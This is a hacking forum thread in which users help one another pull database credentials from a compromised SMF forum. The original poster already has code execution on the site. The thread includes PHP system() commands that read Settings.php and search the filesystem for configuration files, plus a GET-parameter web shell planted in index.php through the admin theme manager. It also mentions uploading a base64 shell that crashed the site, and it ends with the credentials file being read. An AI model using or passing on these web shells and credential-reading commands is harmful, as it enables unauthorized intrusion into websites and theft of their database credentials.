I've got a shell with system()... The site has smf forum and normally there is a configuration file called Settings.php that has db user and pass, I found this by dll the source. So you would think this:
| Code: | <? @system("ls /blah/blah/forum/"); ?>
It's there...so
<? @system("cat /blah/blah/forum/Settings.php"); ?>
|
but this file is showing up empty... So I don't understand where the db connection is made. I also tried this:
| Code: |
<? @system("find / -name '*.conf*'"); ?>
and
<? @system("find / -name '*Settings*'"); ?>
|
No success of finding db connection
Any ideas?  |

prolly its chmod permissions or system() commands are disabled for that user.
Try a better code use this...
btw im guessing ur editing the code in the index.php file from the admin theme manager.
| Code: |
<?php
if(isset($_GET['lol'])){echo "<h1>lol</h1><pre>"; system($_GET['lol']);exit;}
?> |
using this...
ex. http://somesite.com/index.php?lol=command (like wget,cat,ls -la,etc) |

I'm not able to check to see if login.php will work because the creditials for the login isn't on this pc.
I did upload a b64 shell and it crashed the forum and was put back up later in the day. Not sure why this happened but I don't want it to happen again

@Pexli
This looks to be useful in LogInOut.php
| Code: |
$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';
|
I see it in the source of SMF but not in the one on the server
Where is this db connection made?  |

@Pexli
Thanks for reply. I'm getting the same output with readfile() as cat in system()
This is the code at the top of the page:
| Code: |
'\'' . $user_settings['passwordSalt'] . '\'')); setLoginCookie($timeout - time(), $ID_MEMBER, sha1($user_settings['passwd']
|
So this part of the source seems to be missing or deleted?
| Code: |
$context['page_title'] = $txt[34];
$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';
$context['never_expire'] = false;

This worked, I can read the copied Settings.php file. Must have been some protection from reading it.
Thanks a lot pexli |
